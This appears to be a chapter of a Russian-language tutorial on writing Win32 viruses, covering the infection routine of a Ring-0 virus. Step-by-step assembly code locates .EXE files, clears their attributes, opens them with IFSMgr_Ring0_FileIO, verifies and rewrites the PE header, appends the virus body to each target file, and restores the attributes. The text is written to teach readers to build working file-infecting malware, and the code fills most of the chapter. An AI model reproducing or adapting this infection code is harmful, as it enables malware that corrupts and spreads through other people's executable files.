Путеводитель по написанию вирусов под Win32

         

Само заражение


Ок , здесь я хочу вам рассказать о заражении файла. Я не буду рассказывать о том, как манипулировать полями заголовка файла, не потому что я ленивый, а потому что эта глава посвящена программированию Ring-0, а не заражению PE. В этой части описывается код, начинающийся с метки infection_stuff, которую вы встретили в код обработчика файловой системы. Во-первых, мы проверяем, является ли файл, с которым мы собираемся работать .EXE или другим, неинтересным для нас файлом. Поэтому, прежде всего, мы должны найти в имени файла 0, т.е. его конец. Это очень просто написать:

infection_stuff: lea edi,[ebx+fname] ; Переменная с именем файла getend: cmp byte ptr [edi],00h ; Конец файла? jz reached_end ; Да inc edi ; Если нет, продолжаем поиск jmp getend reached_end:

Теперь у нас в EDI 0, конец ASCIIz строки, которая в нашем случае является именем файла. Теперь нам нужно проверить, является ли файл EXE, а если нет пропустить процедуру заражения. Также мы можем искать .SCR (скринсейверы), так как они тоже являются исполняемыми файлами... Ок, это ваш выбор. Вот немного кода:

cmp dword ptr [edi-4],"EXE." ; Является ли расширение EXE jnz notsofunny

Как вы можете видеть, я сравниваю EDI-4. Вы поймете почему, если взглянете на следующий простой пример:

Ок, теперь мы знаем, что файл является EXE-файлом :). Поэтому настало время убрать его аттрибуты, открыть файл, модифировать соответствующие поля, закрыть файл и восстановить аттрибуты. Все эти функции выполняет другой сервис IFS, который называется IFSMgr_Ring0_FileIO. В нем есть огромное количество функций, в том числе и те, которые нам нужны, чтобы выполнить заражение файла и тому подобное. Давайте взглянем на числовые значения, передаваемые в EAX VxD-сервису IFSMgr_Ring0_FileIO:

-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· ; Список функций сервиса IFSMgr_Ring0_FileIO: ; Обратите внимание: большинство функций не зависят от контекста, если ; обратное не оговорено специально, то есть они не используют контекст ; текущего треда. R0_LOCKFILE является единственным исключением - она всегда ; использует контекст текущего треда.


R0_OPENCREATFILE equ 0D500h ; Открывает/ закрывает файл R0_OPENCREAT_IN_CONTEXT equ 0D501h ; Открывает/закрывает файл в текущем ; контексте R0_READFILE equ 0D600h ; Читает файл, контекста нет R0_WRITEFILE equ 0D601h ; Пишет в файл, контекста нет R0_READFILE_IN_CONTEXT equ 0D602h ; Читает из файла в контексте треда R0_WRITEFILE_IN_CONTEXT equ 0D603h ; Пишет в файл в контексте треда R0_CLOSEFILE equ 0D700h ; Закрывает файл R0_GETFILESIZE equ 0D800h ; Получает размер файла R0_FINDFIRSTFILE equ 04E00h ; Выполняет LFN-операцию FindFirst R0_FINDNEXTFILE equ 04F00h ; Выполняет LFN-операцию FindNext R0_FINDCLOSEFILE equ 0DC00h ; Выполняет LFN-операцию FindClose R0_FILEATTRIBUTES equ 04300h ; Получ./уст. аттрибуты файла R0_RENAMEFILE equ 05600h ; Переименовывает файл R0_DELETEFILE equ 04100h ; Удаляет файл R0_LOCKFILE equ 05C00h ; Лочит/анлочит регион файла R0_GETDISKFREESPACE equ 03600h ; Получает свободное дисковое пр-во R0_READABSOLUTEDISK equ 0DD00h ; Абсолютное дисковое чтение R0_WRITEABSOLUTEDISK equ 0DE00h ; Абсолютная дисковая запись -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

Симпатичные функции, не правда ли? :) Если мы взглянем на них более внимательно, они напомнят нам функции DOS int 21h. Но эти лучше :).

Хорошо, давайте сохраним старые атрибуты файла. Как вы можете видеть, эта функция находится в списке, который я вам предоставил. Мы передаем этот параметр (4300h) через EAX, чтобы получить аттрибуты файла в ECX. Затем мы push'им его и имя файла, которое находится в ESI

lea esi,[ebx+fname] ; Указатель на имя файла mov eax,R0_FILEATTRIBUTES ; EAX = 4300h push eax ; Push'им, черт возьми VxDCall IFSMgr_Ring0_FileIO ; Получаем аттрибуты pop eax ; Восстанавливаем 4300h из стека jc notsofunny ; Что-то пошло не так?

push esi ; Push'им указатель на имя файла push ecx ; Push'им аттрибуты

Теперь мы должны их сбросить. Нет проблем. Функция для установки атрибутов находится в этом же сервисе под номером 4301h. Как вы можете видеть, это точно такое же значение как и в DOS :).



inc eax ; 4300h+1=4301h :) xor ecx,ecx ; Нет аттрибутов! VxDCall IFSMgr_Ring0_FileIO ; Стираем аттрибуты jc stillnotsofunny ; Ошибка (?!)

У нас есть файл без атрибутов, который ждет наших действий... что мы должны предпринять. Хех. Я думал, вы будете умнее. Давайте откроем его! :) Хорошо, в этой части вируса мы тоже будем вызывать IFSMgr_Ring0_FileIO, но в этот раз передадим в EAX код функции открытия файлов, который равен D500h.

lea esi,[ebx+fname] ; Помещаем в ESI имя файла mov eax,R0_OPENCREATFILE ; EAX = D500h xor ecx,ecx ; ECX = 0 mov edx,ecx inc edx ; EDX = 1 mov ebx,edx inc ebx ; EBX = 2 VxDCall IFSMgr_Ring0_FileIO jc stillnotsofunny ; Дерьмо

xchg eax,ebx ; Немного оптимизации



Теперь в EBX у нас находится хэндл открытого файла, поэтому не будем использовать этот регистр для чего бы то ни было еще, пока не закроем файл, ок? :) Ладно, теперь настало время, чтобы считать заголовок файла и сохранить его (и манипулировать), затем обновить заголовок вируса... Ладно, здесь я объясню только как до того момента, где мы должны правильно обработать PE-заголовок, потому что это другая часть документа, а я не хочу повторяться. Хорошо, теперь я собираюсь объяснить, как поместить в наш буфер заголовок PE. Это очень легко: как вы помните, заголовок PE начинается по смещению 3Ch. Следовательно, мы должны считать 4 байта (этот DWORD в 3Ch), и считать со смещения, на которое указывает прочитанная переменная, 400h байтов, что достаточно для того, чтобы вместить весь PE-заголовок. Как вы можете представить, функция для чтения файлов находится в чудесном сервисе IFSMgr_Ring0_FileIO. Ее номер можно найти в списке, который я привел выше. Параметры, передаваемые этой функции, следующие:

EAX = R0_READFILE = D600h EBX = хэндл файла ECX = количество прочитанных байтов EDX = смещение, откуда мы должны читать ESI = куда попадут считанные байты

call inf_delta ; Если вы помните, дельта-смещение inf_delta: ; находится в EBX, но после открытия pop ebp ; файла в EBX будет находиться хэндл sub ebp,offset inf_delta ; файла, поэтом нам придется ; высчитать дельта-смещение заново



mov eax,R0_READFILE ; D600h push eax ; Сохраняем для последующего исп. mov ecx,4 ; Сколько байтов читать (DWORD) mov edx,03Ch ; Откуда читать (BOF+3Ch) lea esi,[ebp+pehead] ; Здесь будет смещ. загол. PE VxDCall IFSMgr_Ring0_FileIO ; Сам VxDCall

pop eax ; восст. R0_READFILE из стека

mov edx,dword ptr [ebp+pehead] ; Откуда нач. PE-заголовок lea esi,[ebp+header] ; Куда писать считанный заголовок mov ecx,400h ; 1024 bytes, дост. для заголовка VxDCall IFSMgr_Ring0_FileIO

Теперь мы должны посмотреть, является ли файл, который мы только что посмотрели PE-файлов, взглянув на его маркер. В ESI у нас находится указатель на буфер, куда мы поместим заголовок PE, поэтому мы просто сравниваем первый DWORD в ESI с PE,0,0 (или просто PE, если использовать WORD-сравнение) ;).

cmp dword ptr [esi],"EP" ; Это PE? jnz muthafucka

Теперь вам нужно проверить, не был ли файл уже заражен ранее, и если это так, просто переходим к процедуре его закрытия. Как я сказал раньше, я пропущу код модификации PE-заголовка, так как предполагается, что вы знаете, как им манипулировать. Ладно, представьте, что вы уже модифицировали заголовок PE правильным образом в буфере (в моем коде эта переменная названа 'header'). Теперь настало время, чтобы записать новый заголовок в PE-файл. Значения, которые должны содержаться в регистрах, должны быть примерно равны тем, которые использовались в функции R0_READFILE. Ладно, как бы то ни было, я их напишу:

EAX = R0_WRITEFILE = D601h EBX = File Handle ECX = Number of bytes to write EDX = Offset where we should write ESI = Offset of the bytes we want to write

mov eax,R0_WRITEFILE ; D601h mov ecx,400h ; write 1024 bytez (buffer) mov edx,dword ptr [ebp+pehead] ; where to write (PE offset) lea esi,[ebp+header] ; Data to write VxDCall IFSMgr_Ring0_FileIO

Мы только что записали заголовок. Теперь мы должны добавить вирус. Я решил подсоединить его прямо к концу файла, потому что мой способ модифицирования PE... Ладно, просто сделал это так. Но не беспокойтесь, это легко адаптировать под ваш метод заражения, если, как я предполагаю, вы понимаете, как все это работает. Просто помните о необходимости пофиксить все вызовы VxD перед добавление тела вируса, так как они трансформируются в инструкции call в памяти. Помните о процедуре VxDFix, которой я научил вас в этом же документе. Между прочим, так как мы добавляем тело вируса к концу файла, мы должны узнать, как много байтов он занимает. Это очень легко, для этого у нас есть функция сервиса IFSMgr_Ring0_FileIO, которая выполнит эту работу: R0_GETFILESIZE. Давайте взглянем на ее входные параметры:



EAX = R0_GETFILESIZE = D800h EBX = Хэндл файла

И возвращает нам в EAX размер файла, чей хэндл мы передали, то есть того файла, который мы хотим заразить.

call VxDFix ; Восстановить все INT 20h

mov eax,R0_GETFILESIZE ; D800h VxDCall IFSMgr_Ring0_FileIO ; EAX = размер файла mov edx,R0_WRITEFILE ; EDX = D601h xchg eax,edx ; EAX = D601; EDX = р-р файла lea esi,[ebp+virus_start] ; Что записать mov ecx,virus_size ; Сколько байтов записать VxDCall IFSMgr_Ring0_FileIO

Ладно, нам осталось сделать всего лишь несколько вещей. Просто закройте файл и восстановите старые атрибуты. Конечно, функция закрытия файла находится в сервисе IFSMgr_Ring0_FileIO (код D700h). Давайте взглянем на входные параметры:

EAX = R0_CLOSEFILE = 0D700h EBX = хэндл файла

А теперь сам код:

muthafucka: mov eax,R0_CLOSEFILE VxDCall IFSMgr_Ring0_FileIO

Теперь нам осталось только одно (рульно!). Восстановить старые аттрибуты.

stillnotsofunny: pop ecx ; Восстанавливаем старые аттрибуты pop esi ; Восстанавливаем указатель на имя файла mov eax,4301h ; Устанавливаем аттрибуты VxDCall IFSMgr_Ring0_FileIO

notsofunny: ret

Вот и все! :) Между прочим, все эти "VxDCall IFSMgr_Ring0_FileIO" лучше оформить в виде подпрограммы и вызывать ее с помощью простого вызова: это будет более оптимизировано (если вы используете макро VxDCall, который я показал вам) и это будет гораздо лучше, потому что необходимо будет фиксить только один вызов VxD-сервиса.


Содержание раздела